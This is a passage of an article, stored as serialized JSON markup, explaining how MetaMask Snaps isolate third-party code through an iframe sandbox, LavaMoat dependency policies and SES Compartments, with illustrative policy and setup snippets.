type":24,"tag":158,"props":38199,"children":38200},{"style":188},[38201],{"type":29,"value":347},{"type":24,"tag":158,"props":38203,"children":38204},{"style":496},[38205],{"type":29,"value":38206},"appendChild",{"type":24,"tag":158,"props":38208,"children":38209},{"style":188},[38210],{"type":29,"value":504},{"type":24,"tag":158,"props":38212,"children":38213},{"style":177},[38214],{"type":29,"value":38215},"iframe",{"type":24,"tag":158,"props":38217,"children":38218},{"style":188},[38219],{"type":29,"value":1071},{"type":24,"tag":25,"props":38221,"children":38222},{},[38223],{"type":29,"value":38224},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":395,"props":38226,"children":38228},{"id":38227},"lavamoat-against-supply-chain-attacks-layer-2",[38229],{"type":29,"value":38230},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":38232,"children":38233},{},[38234],{"type":29,"value":38235},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":38237,"children":38238},{},[38239,38241,38247],{"type":29,"value":38240},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":154,"props":38242,"children":38244},{"className":38243},[],[38245],{"type":29,"value":38246},"fs",{"type":29,"value":38248},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":38250,"children":38251},{},[38252],{"type":29,"value":38253},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":38255,"children":38256},{},[38257,38259,38266],{"type":29,"value":38258},"This is how a Policy file related to the iframes ",{"type":24,"tag":101,"props":38260,"children":38263},{"href":38261,"rel":38262},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[105],[38264],{"type":29,"value":38265},"looks",{"type":29,"value":225},{"type":24,"tag":147,"props":38268,"children":38270},{"className":35258,"code":38269,"language":35260,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[38271],{"type":24,"tag":154,"props":38272,"children":38273},{"__ignoreMap":7},[38274,38287,38299,38319,38339,38359,38379,38399,38419,38439,38456,38464,38476,38496,38512,38519],{"type":24,"tag":158,"props":38275,"children":38276},{"class":160,"line":161},[38277,38282],{"type":24,"tag":158,"props":38278,"children":38279},{"style":1108},[38280],{"type":29,"value":38281},"\"@metamask/post-message-stream\"",{"type":24,"tag":158,"props":38283,"children":38284},{"style":188},[38285],{"type":29,"value":38286},": {\n",{"type":24,"tag":158,"props":38288,"children":38289},{"class":160,"line":213},[38290,38295],{"type":24,"tag":158,"props":38291,"children":38292},{"style":177},[38293],{"type":29,"value":38294}," \"globals\"",{"type":24,"tag":158,"props":38296,"children":38297},{"style":188},[38298],{"type":29,"value":38286},{"type":24,"tag":158,"props":38300,"children":38301},{"class":160,"line":238},[38302,38307,38311,38315],{"type":24,"tag":158,"props":38303,"children":38304},{"style":177},[38305],{"type":29,"value":38306}," \"MessageEvent.prototype\"",{"type":24,"tag":158,"props":38308,"children":38309},{"style":188},[38310],{"type":29,"value":16566},{"type":24,"tag":158,"props":38312,"children":38313},{"style":165},[38314],{"type":29,"value":3185},{"type":24,"tag":158,"props":38316,"children":38317},{"style":188},[38318],{"type":29,"value":235},{"type":24,"tag":158,"props":38320,"children":38321},{"class":160,"line":259},[38322,38327,38331,38335],{"type":24,"tag":158,"props":38323,"children":38324},{"style":177},[38325],{"type":29,"value":38326}," \"WorkerGlobalScope\"",{"type":24,"tag":158,"props":38328,"children":38329},{"style":188},[38330],{"type":29,"value":16566},{"type":24,"tag":158,"props":38332,"children":38333},{"style":165},[38334],{"type":29,"value":3185},{"type":24,"tag":158,"props":38336,"children":38337},{"style":188},[38338],{"type":29,"value":235},{"type":24,"tag":158,"props":38340,"children":38341},{"class":160,"line":280},[38342,38347,38351,38355],{"type":24,"tag":158,"props":38343,"children":38344},{"style":177},[38345],{"type":29,"value":38346}," \"addEventListener\"",{"type":24,"tag":158,"props":38348,"children":38349},{"style":188},[38350],{"type":29,"value":16566},{"type":24,"tag":158,"props":38352,"children":38353},{"style":165},[38354],{"type":29,"value":3185},{"type":24,"tag":158,"props":38356,"children":38357},{"style":188},[38358],{"type":29,"value":235},{"type":24,"tag":158,"props":38360,"children":38361},{"class":160,"line":301},[38362,38367,38371,38375],{"type":24,"tag":158,"props":38363,"children":38364},{"style":177},[38365],{"type":29,"value":38366}," \"browser\"",{"type":24,"tag":158,"props":38368,"children":38369},{"style":188},[38370],{"type":29,"value":16566},{"type":24,"tag":158,"props":38372,"children":38373},{"style":165},[38374],{"type":29,"value":3185},{"type":24,"tag":158,"props":38376,"children":38377},{"style":188},[38378],{"type":29,"value":235},{"type":24,"tag":158,"props":38380,"children":38381},{"class":160,"line":626},[38382,38387,38391,38395],{"type":24,"tag":158,"props":38383,"children":38384},{"style":177},[38385],{"type":29,"value":38386}," \"chrome\"",{"type":24,"tag":158,"props":38388,"children":38389},{"style":188},[38390],{"type":29,"value":16566},{"type":24,"tag":158,"props":38392,"children":38393},{"style":165},[38394],{"type":29,"value":3185},{"type":24,"tag":158,"props":38396,"children":38397},{"style":188},[38398],{"type":29,"value":235},{"type":24,"tag":158,"props":38400,"children":38401},{"class":160,"line":668},[38402,38407,38411,38415],{"type":24,"tag":158,"props":38403,"children":38404},{"style":177},[38405],{"type":29,"value":38406}," \"location.origin\"",{"type":24,"tag":158,"props":38408,"children":38409},{"style":188},[38410],{"type":29,"value":16566},{"type":24,"tag":158,"props":38412,"children":38413},{"style":165},[38414],{"type":29,"value":3185},{"type":24,"tag":158,"props":38416,"children":38417},{"style":188},[38418],{"type":29,"value":235},{"type":24,"tag":158,"props":38420,"children":38421},{"class":160,"line":676},[38422,38427,38431,38435],{"type":24,"tag":158,"props":38423,"children":38424},{"style":177},[38425],{"type":29,"value":38426}," \"postMessage\"",{"type":24,"tag":158,"props":38428,"children":38429},{"style":188},[38430],{"type":29,"value":16566},{"type":24,"tag":158,"props":38432,"children":38433},{"style":165},[38434],{"type":29,"value":3185},{"type":24,"tag":158,"props":38436,"children":38437},{"style":188},[38438],{"type":29,"value":235},{"type":24,"tag":158,"props":38440,"children":38441},{"class":160,"line":684},[38442,38447,38451],{"type":24,"tag":158,"props":38443,"children":38444},{"style":177},[38445],{"type":29,"value":38446}," \"removeEventListener\"",{"type":24,"tag":158,"props":38448,"children":38449},{"style":188},[38450],{"type":29,"value":16566},{"type":24,"tag":158,"props":38452,"children":38453},{"style":165},[38454],{"type":29,"value":38455},"true\n",{"type":24,"tag":158,"props":38457,"children":38458},{"class":160,"line":700},[38459],{"type":24,"tag":158,"props":38460,"children":38461},{"style":188},[38462],{"type":29,"value":38463}," },\n",{"type":24,"tag":158,"props":38465,"children":38466},{"class":160,"line":785},[38467,38472],{"type":24,"tag":158,"props":38468,"children":38469},{"style":177},[38470],{"type":29,"value":38471}," \"packages\"",{"type":24,"tag":158,"props":38473,"children":38474},{"style":188},[38475],{"type":29,"value":38286},{"type":24,"tag":158,"props":38477,"children":38478},{"class":160,"line":1447},[38479,38484,38488,38492],{"type":24,"tag":158,"props":38480,"children":38481},{"style":177},[38482],{"type":29,"value":38483}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":158,"props":38485,"children":38486},{"style":188},[38487],{"type":29,"value":16566},{"type":24,"tag":158,"props":38489,"children":38490},{"style":165},[38491],{"type":29,"value":3185},{"type":24,"tag":158,"props":38493,"children":38494},{"style":188},[38495],{"type":29,"value":235},{"type":24,"tag":158,"props":38497,"children":38498},{"class":160,"line":1509},[38499,38504,38508],{"type":24,"tag":158,"props":38500,"children":38501},{"style":177},[38502],{"type":29,"value":38503}," \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":158,"props":38505,"children":38506},{"style":188},[38507],{"type":29,"value":16566},{"type":24,"tag":158,"props":38509,"children":38510},{"style":165},[38511],{"type":29,"value":38455},{"type":24,"tag":158,"props":38513,"children":38514},{"class":160,"line":1527},[38515],{"type":24,"tag":158,"props":38516,"children":38517},{"style":188},[38518],{"type":29,"value":3549},{"type":24,"tag":158,"props":38520,"children":38521},{"class":160,"line":1545},[38522],{"type":24,"tag":158,"props":38523,"children":38524},{"style":188},[38525],{"type":29,"value":3967},{"type":24,"tag":25,"props":38527,"children":38528},{},[38529,38531,38537,38539,38545,38547,38553,38555,38561,38562,38568],{"type":29,"value":38530},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":154,"props":38532,"children":38534},{"className":38533},[],[38535],{"type":29,"value":38536},"globals",{"type":29,"value":38538}," section, is the ",{"type":24,"tag":154,"props":38540,"children":38542},{"className":38541},[],[38543],{"type":29,"value":38544},"packages",{"type":29,"value":38546}," segment. This section permits the ",{"type":24,"tag":154,"props":38548,"children":38550},{"className":38549},[],[38551],{"type":29,"value":38552},"@metamask/post-message-stream",{"type":29,"value":38554},"package to exclusively interact with the package ",{"type":24,"tag":154,"props":38556,"children":38558},{"className":38557},[],[38559],{"type":29,"value":38560},"@metamask/utils",{"type":29,"value":1826},{"type":24,"tag":154,"props":38563,"children":38565},{"className":38564},[],[38566],{"type":29,"value":38567},"readable-stream",{"type":29,"value":38569},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":38571,"children":38572},{},[38573,38575,38581],{"type":29,"value":38574},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":154,"props":38576,"children":38578},{"className":38577},[],[38579],{"type":29,"value":38580},"lockdown",{"type":29,"value":38582}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":395,"props":38584,"children":38586},{"id":38585},"secure-ecmascript-ses-sandbox-layer-3",[38587],{"type":29,"value":38588},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":38590,"children":38591},{},[38592,38594,38601],{"type":29,"value":38593},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":101,"props":38595,"children":38598},{"href":38596,"rel":38597},"https://github.com/endojs/endo/tree/master/packages/ses",[105],[38599],{"type":29,"value":38600},"Secure EcmaScript (SES)",{"type":29,"value":38602}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":20134,"props":38604,"children":38606},{"id":38605},"ses-fundamentals",[38607],{"type":29,"value":38608},"SES Fundamentals",{"type":24,"tag":38610,"props":38611,"children":38612},"h5",{"id":38580},[38613],{"type":29,"value":38614},"Lockdown",{"type":24,"tag":25,"props":38616,"children":38617},{},[38618,38620,38626],{"type":29,"value":38619},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":154,"props":38621,"children":38623},{"className":38622},[],[38624],{"type":29,"value":38625},"lockdown()",{"type":29,"value":38627}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":1786,"props":38629,"children":38630},{},[38631,38644],{"type":24,"tag":1790,"props":38632,"children":38633},{},[38634,38636,38642],{"type":29,"value":38635},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":154,"props":38637,"children":38639},{"className":38638},[],[38640],{"type":29,"value":38641},"Object.freeze",{"type":29,"value":38643}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":1790,"props":38645,"children":38646},{},[38647,38649,38655,38657,38663],{"type":29,"value":38648},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":154,"props":38650,"children":38652},{"className":38651},[],[38653],{"type":29,"value":38654},"trace",{"type":29,"value":38656}," attribute in an ",{"type":24,"tag":154,"props":38658,"children":38660},{"className":38659},[],[38661],{"type":29,"value":38662},"Error",{"type":29,"value":38664}," object, which contains the stack trace of the error.",{"type":24,"tag":38610,"props":38666,"children":38668},{"id":38667},"compartment",[38669],{"type":29,"value":38670},"Compartment",{"type":24,"tag":25,"props":38672,"children":38673},{},[38674,38676,38682,38684,38689],{"type":29,"value":38675},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":154,"props":38677,"children":38679},{"className":38678},[],[38680],{"type":29,"value":38681},"globalThis",{"type":29,"value":38683}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":154,"props":38685,"children":38687},{"className":38686},[],[38688],{"type":29,"value":38681},{"type":29,"value":38690}," context is incapable of tampering with security.",{"type":24,"tag":147,"props":38692,"children":38694},{"className":36877,"code":38693,"language":36879,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[38695],{"type":24,"tag":154,"props":38696,"children":38697},{"__ignoreMap":7},[38698,38727,38760],{"type":24,"tag":158,"props":38699,"children":38700},{"class":160,"line":161},[38701,38705,38710,38714,38718,38723],{"type":24,"tag":158,"props":38702,"children":38703},{"style":165},[38704],{"type":29,"value":443},{"type":24,"tag":158,"props":38706,"children":38707},{"style":177},[38708],{"type":29,"value":38709}," c",{"type":24,"tag":158,"props":38711,"children":38712},{"style":222},[38713],{"type":29,"value":462},{"type":24,"tag":158,"props":38715,"children":38716},{"style":165},[38717],{"type":29,"value":33194},{"type":24,"tag":158,"props":38719,"children":38720},{"style":496},[38721],{"type":29,"value":38722}," Compartment",{"type":24,"tag":158,"props":38724,"children":38725},{"style":188},[38726],{"type":29,"value":5329},{"type":24,"tag":158,"props":38728,"children":38729},{"class":160,"line":213},[38730,38734,38738,38742,38746,38751,38755],{"type":24,"tag":158,"props":38731,"children":38732},{"style":177},[38733],{"type":29,"value":2907},{"type":24,"tag":158,"props":38735,"children":38736},{"style":188},[38737],{"type":29,"value":347},{"type":24,"tag":158,"props":38739,"children":38740},{"style":177},[38741],{"type":29,"value":38681},{"type":24,"tag":158,"props":38743,"children":38744},{"style":222},[38745],{"type":29,"value":32683},{"type":24,"tag":158,"props":38747,"children":38748},{"style":177},[38749],{"type":29,"value":38750}," globalThis",{"type":24,"tag":158,"props":38752,"children":38753},{"style":188},[38754],{"type":29,"value":18465},{"type":24,"tag":158,"props":38756,"children":38757},{"style":2588},[38758],{"type":29,"value":38759},"// false\n",{"type":24,"tag":158,"props":38761,"children":38762},{"class":160,"line":238},[38763,38767,38771,38775,38779,38784,38788,38793,38797],{"type":24,"tag":158,"props":38764,"children":38765},{"style":177},[38766],{"type":29,"value":2907},{"type":24,"tag":158,"props":38768,"children":38769},{"style":188},[38770],{"type":29,"value":347},{"type":24,"tag":158,"props":38772,"children":38773},{"style":177},[38774],{"type":29,"value":38681},{"type":24,"tag":158,"props":38776,"children":38777},{"style":188},[38778],{"type":29,"value":347},{"type":24,"tag":158,"props":38780,"children":38781},{"style":177},[38782],{"type":29,"value":38783},"JSON",{"type":24,"tag":158,"props":38785,"children":38786},{"style":222},[38787],{"type":29,"value":32683},{"type":24,"tag":158,"props":38789,"children":38790},{"style":177},[38791],{"type":29,"value":38792}," JSON",{"type":24,"tag":158,"props":38794,"children":38795},{"style":188},[38796],{"type":29,"value":18465},{"type":24,"tag":158,"props":38798,"children":38799},{"style":2588},[38800],{"type":29,"value":38801},"// true\n",{"type":24,"tag":25,"props":38803,"children":38804},{},[38805,38807,38813,38815,38821,38823,38828],{"type":29,"value":38806},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":154,"props":38808,"children":38810},{"className":38809},[],[38811],{"type":29,"value":38812},"eval",{"type":29,"value":38814}," and the ",{"type":24,"tag":154,"props":38816,"children":38818},{"className":38817},[],[38819],{"type":29,"value":38820},"Function",{"type":29,"value":38822}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":154,"props":38824,"children":38826},{"className":38825},[],[38827],{"type":29,"value":38681},{"type":29,"value":347},{"type":24,"tag":38610,"props":38830,"children":38832},{"id":38831},"endowments",[38833],{"type":29,"value":38834},"Endowments",{"type":24,"tag":25,"props":38836,"children":38837},{},[38838,38840,38844,38846,38851],{"type":29,"value":38839},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":32,"props":38841,"children":38842},{},[38843],{"type":29,"value":38831},{"type":29,"value":38845},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":154,"props":38847,"children":38849},{"className":38848},[],[38850],{"type":29,"value":38681},{"type":29,"value":38852},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":38854,"children":38855},{},[38856,38858,38864],{"type":29,"value":38857},"In addition, SES provides the ",{"type":24,"tag":154,"props":38859,"children":38861},{"className":38860},[],[38862],{"type":29,"value":38863},"harden()",{"type":29,"value":38865}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":20134,"props":38867,"children":38869},{"id":38868},"setting-up-snaps-execution-env",[38870],{"type":29,"value":38871},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":38873,"children":38874},{},[38875],{"type":29,"value":38876},"When starting a snap, the setup follows these steps:",{"type":24,"tag":1786,"props":38878,"children":38879},{},[38880],{"type":24,"tag":1790,"props":38881,"children":38882},{},[38883],{"type":24,"tag":897,"props":38884,"children":38885},{},[38886,38888],{"type":29,"value":38887},"Create endowments based on snap ",{"type":24,"tag":101,"props":38889,"children":38892},{"href":38890,"rel":38891},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[105],[38893],{"type":29,"value":38894},"permissions",{"type":24,"tag":147,"props":38896,"children":38898},{"className":36877,"code":38897,"language":36879,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[38899],{"type":24,"tag":154,"props":38900,"children":38901},{"__ignoreMap":7},[38902,38952,38964,38975,38987,38999],{"type":24,"tag":158,"props":38903,"children":38904},{"class":160,"line":161},[38905,38909,38913,38917,38921,38926,38930,38935,38939,38943,38948],{"type":24,"tag":158,"props":38906,"children":38907},{"style":165},[38908],{"type":29,"value":443},{"type":24,"tag":158,"props":38910,"children":38911},{"style":188},[38912],{"type":29,"value":372},{"type":24,"tag":158,"props":38914,"children":38915},{"style":177},[38916],{"type":29,"value":38831},{"type":24,"tag":158,"props":38918,"children":38919},{"style":188},[38920],{"type":29,"value":191},{"type":24,"tag":158,"props":38922,"children":38923},{"style":177},[38924],{"type":29,"value":38925},"teardown",{"type":24,"tag":158,"props":38927,"children":38928},{"style":188},[38929],{"type":29,"value":16566},{"type":24,"tag":158,"props":38931,"children":38932},{"style":177},[38933],{"type":29,"value":38934},"endowmentTeardown",{"type":24,"tag":158,"props":38936,"children":38937},{"style":188},[38938],{"type":29,"value":37466},{"type":24,"tag":158,"props":38940,"children":38941},{"style":222},[38942],{"type":29,"value":1285},{"type":24,"tag":158,"props":38944,"children":38945},{"style":496},[38946],{"type":29,"value":38947}," createEndowments",{"type":24,"tag":158,"props":38949,"children":38950},{"style":188},[38951],{"type":29,"value":2156},{"type":24,"tag":158,"props":38953,"children":38954},{"class":160,"line":213},[38955,38960],{"type":24,"tag":158,"props":38956,"children":38957},{"style":177},[38958],{"type":29,"value":38959}," snap",{"type":24,"tag":158,"props":38961,"children":38962},{"style":188},[38963],{"type":29,"value":235},{"type":24,"tag":158,"props":38965,"children":38966},{"class":160,"line":238},[38967,38971],{"type":24,"tag":158,"props":38968,"children":38969},{"style":177},[38970],{"type":29,"value":32745},{"type":24,"tag":158,"props":38972,"children":38973},{"style":188},[38974],{"type":29,"value":235},{"type":24,"tag":158,"props":38976,"children":38977},{"class":160,"line":259},[38978,38983],{"type":24,"tag":158,"props":38979,"children":38980},{"style":177},[38981],{"type":29,"value":38982}," snapId",{"type":24,"tag":158,"props":38984,"children":38985},{"style":188},[38986],{"type":29,"value":235},{"type":24,"tag":158,"props":38988,"children":38989},{"class":160,"line":280},[38990,38995],{"type":24,"tag":158,"props":38991,"children":38992},{"style":177},[38993],{"type":29,"value":38994}," _endowments",{"type":24,"tag":158,"props":38996,"children":38997},{"style":188},[38998],{"type":29,"value":235},{"type":24,"tag":158,"props":39000,"children":39001},{"class":160,"line":301},[39002],{"type":24,"tag":158,"props":39003,"children":39004},{"style":188},[39005],{"type":29,"value":1071},{"type":24,"tag":25,"props":39007,"children":39008},{},[39009],{"type":29,"value":39010},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":39012,"children":39013},{},[39014,39016,39022,39024,39030],{"type":29,"value":39015},"One clear example is the ",{"type":24,"tag":154,"props":39017,"children":39019},{"className":39018},[],[39020],{"type":29,"value":39021},"endowment:network-access",{"type":29,"value":39023}," permission, that adds the ",{"type":24,"tag":154,"props":39025,"children":39027},{"className":39026},[],[39028],{"type":29,"value":39029},"fetch()",{"type":29,"value":39031}," function to the endowments.",{"type":24,"tag":25,"props":39033,"children":39034},{},[39035,39037,39043],{"type":29,"value":39036},"All endowments are protected with the ",{"type":24,"tag":154,"props":39038,"children":39040},{"className":39039},[],[39041],{"type":29,"value":39042},"harden",{"type":29,"value":39044}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":1786,"props":39046,"children":39047},{"start":213},[39048],{"type":24,"tag":1790,"props":39049,"children":39050},{},[39051],{"type":24,"tag":897,"props":39052,"children":39053},{},[39054,39056],{"type":29,"value":39055},"Create the snap ",{"type":24,"tag":101,"props":39057,"children":39060},{"href":39058,"rel":39059},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[105],[39061],{"type":29,"value":38667},{"type":24,"tag":147,"props":39063,"children":39065},{"className":36877,"code":39064,"language":36879,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[39066],{"type":24,"tag":154,"props":39067,"children":39068},{"__ignoreMap":7},[39069,39097,39113,39130,39155],{"type":24,"tag":158,"props":39070,"children":39071},{"class":160,"line":161},[39072,39076,39081,39085,39089,39093],{"type":24,"tag":158,"props":39073,"children":39074},{"style":165},[39075],{"type":29,"value":443},{"type":24,"tag":158,"props":39077,"children":39078},{"style":177},[39079],{"type":29,"value":39080}," compartment",{"type":24,"tag":158,"props":39082,"children":39083},{"style":222},[39084],{"type":29,"value":462},{"type":24,"tag":158,"props":39086,"children":39087},{"style":165},[39088],{"type":29,"value":33194},{"type":24,"tag":158,"props":39090,"children":39091},{"style":496},[39092],{"type":29,"value":38722},{"type":24,"tag":158,"props":39094,"children":39095},{"style":188},[39096],{"type":29,"value":16375},{"type":24,"tag":158,"props":39098,"children":39099},{"class":160,"line":213},[39100,39105,39109],{"type":24,"tag":158,"props":39101,"children":39102},{"style":222},[39103],{"type":29,"value":39104}," ...",{"type":24,"tag":158,"props":39106,"children":39107},{"style":177},[39108],{"type":29,"value":38831},{"type":24,"tag":158,"props":39110,"children":39111},{"style":188},[39112],{"type":29,"value":235},{"type":24,"tag":158,"props":39114,"children":39115},{"class":160,"line":238},[39116,39121,39126],{"type":24,"tag":158,"props":39117,"children":39118},{"style":177},[39119],{"type":29,"value":39120}," module:",{"type":24,"tag":158,"props":39122,"children":39123},{"style":177},[39124],{"type":29,"value":39125}," snapModule",{"type":24,"tag":158,"props":39127,"children":39128},{"style":188},[39129],{"type":29,"value":235},{"type":24,"tag":158,"props":39131,"children":39132},{"class":160,"line":259},[39133,39138,39142,39146,39151],{"type":24,"tag":158,"props":39134,"children":39135},{"style":177},[39136],{"type":29,"value":39137}," exports:",{"type":24,"tag":158,"props":39139,"children":39140},{"style":177},[39141],{"type":29,"value":39125},{"type":24,"tag":158,"props":39143,"children":39144},{"style":188},[39145],{"type":29,"value":347},{"type":24,"tag":158,"props":39147,"children":39148},{"style":177},[39149],{"type":29,"value":39150},"exports",{"type":24,"tag":158,"props":39152,"children":39153},{"style":188},[39154],{"type":29,"value":235},{"type":24,"tag":158,"props":39156,"children":39157},{"class":160,"line":280},[39158],{"type":24,"tag":158,"props":39159,"children":39160},{"style":188},[39161],{"type":29,"value":36601},{"type":24,"tag":25,"props":39163,"children":39164},{},[39165,39167,39173,39174,39179,39181,39186],{"type":29,"value":39166},"Note: ",{"type":24,"tag":154,"props":39168,"children":39170},{"className":39169},[],[39171],{"type":29,"value":39172},"module",{"type":29,"value":1826},{"type":24,"tag":154,"props":39175,"children":39177},{"className":39176},[],[39178],{"type":29,"value":39150},{"type":29,"value":39180}," are passed as endowments, but without being ",{"type":24,"tag":32,"props":39182,"children":39183},{},[39184],{"type":29,"value":39185},"hardened",{"type":29,"value":39187},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":1786,"props":39189,"children":39190},{"start":238},[39191],{"type":24,"tag":1790,"props":39192,"children":39193},{},[39194],{"type":24,"tag":897,"props":39195,"children":39196},{},[39197,39199],{"type":29,"value":39198},"Evaluate the snap code inside the ",{"type":24,"tag":101,"props":39200,"children":39203},{"href":39201,"rel":39202},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[105],[39204],{"type":29,"value":38667},{"type":24,"tag":147,"props":39206,"children":39208},{"className":36877,"code":39207,"language":36879,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[39209],{"type":24,"tag":154,"props":39210,"children":39211},{"__ignoreMap":7},[39212,39253,39283,39320],{"type":24,"tag":158,"props":39213,"children":39214},{"class":160,"line":161},[39215,39219,39223,39227,39232,39236,39240,39245,39249],{"type":24,"tag":158,"props":39216,"children":39217},{"style":1914},[39218],{"type":29,"value":34178},{"type":24,"tag":158,"props":39220,"children":39221},{"style":165},[39222],{"type":29,"value":36980},{"type":24,"tag":158,"props":39224,"children":39225},{"style":188},[39226],{"type":29,"value":347},{"type":24,"tag":158,"props":39228,"children":39229},{"style":496},[39230],{"type":29,"value":39231},"executeInSnapContext",{"type":24,"tag":158,"props":39233,"children":39234},{"style":188},[39235],{"type":29,"value":504},{"type":24,"tag":158,"props":39237,"children":39238},{"style":177},[39239],{"type":29,"value":37284},{"type":24,"tag":158,"props":39241,"children":39242},{"style":188},[39243],{"type":29,"value":39244},", () ",{"type":24,"tag":158,"props":39246,"children":39247},{"style":165},[39248],{"type":29,"value":16056},{"type":24,"tag":158,"props":39250,"children":39251},{"style":188},[39252],{"type":29,"value":210},{"type":24,"tag":158,"props":39254,"children":39255},{"class":160,"line":213},[39256,39261,39265,39270,39274,39279],{"type":24,"tag":158,"props":39257,"children":39258},{"style":177},[39259],{"type":29,"value":39260}," compartment",{"type":24,"tag":158,"props":39262,"children":39263},{"style":188},[39264],{"type":29,"value":347},{"type":24,"tag":158,"props":39266,"children":39267},{"style":496},[39268],{"type":29,"value":39269},"evaluate",{"type":24,"tag":158,"props":39271,"children":39272},{"style":188},[39273],{"type":29,"value":504},{"type":24,"tag":158,"props":39275,"children":39276},{"style":177},[39277],{"type":29,"value":39278},"sourceCode",{"type":24,"tag":158,"props":39280,"children":39281},{"style":188},[39282],{"type":29,"value":1071},{"type":24,"tag":158,"props":39284,"children":39285},{"class":160,"line":238},[39286,39290,39294,39299,39303,39307,39311,39316],{"type":24,"tag":158,"props":39287,"children":39288},{"style":165},[39289],{"type":29,"value":37328},{"type":24,"tag":158,"props":39291,"children":39292},{"style":188},[39293],{"type":29,"value":347},{"type":24,"tag":158,"props":39295,"children":39296},{"style":496},[39297],{"type":29,"value":39298},"registerSnapExports",{"type":24,"tag":158,"props":39300,"children":39301},{"style":188},[39302],{"type":29,"value":504},{"type":24,"tag":158,"props":39304,"children":39305},{"style":177},[39306],{"type":29,"value":37284},{"type":24,"tag":158,"props":39308,"children":39309},{"style":188},[39310],{"type":29,"value":191},{"type":24,"tag":158,"props":39312,"children":39313},{"style":177},[39314],{"type":29,"value":39315},"snapModule",{"type":24,"tag":158,"props":39317,"children":39318},{"style":188},[39319],{"type":29,"value":1071},{"type":24,"tag":158,"props":39321,"children":39322},{"class":160,"line":259},[39323],{"type":24,"tag":158,"props":39324,"children":39325},{"style":188},[39326],{"type":29,"value":36601},{"type":24,"tag":25,"props":39328,"children":39329},{},[39330,39332,39338,39339,39345,39346,39352],{"type":29,"value":39331},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":154,"props":39333,"children":39335},{"className":39334},[],[39336],{"type":29,"value":39337},"onRpcRequest",{"type":29,"value":191},{"type":24,"tag":154,"props":39340,"children":39342},{"className":39341},[],[39343],{"type":29,"value":39344},"onTransaction",{"type":29,"value":4028},{"type":24,"tag":154,"props":39347,"children":39349},{"className":39348},[],[39350],{"type":29,"value":39351},"onCronjob",{"type":29,"value":347},{"type":24,"tag":25,"props":39354,"children":39355},{},[39356,39358,39363],{"type":29,"value":39357},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed 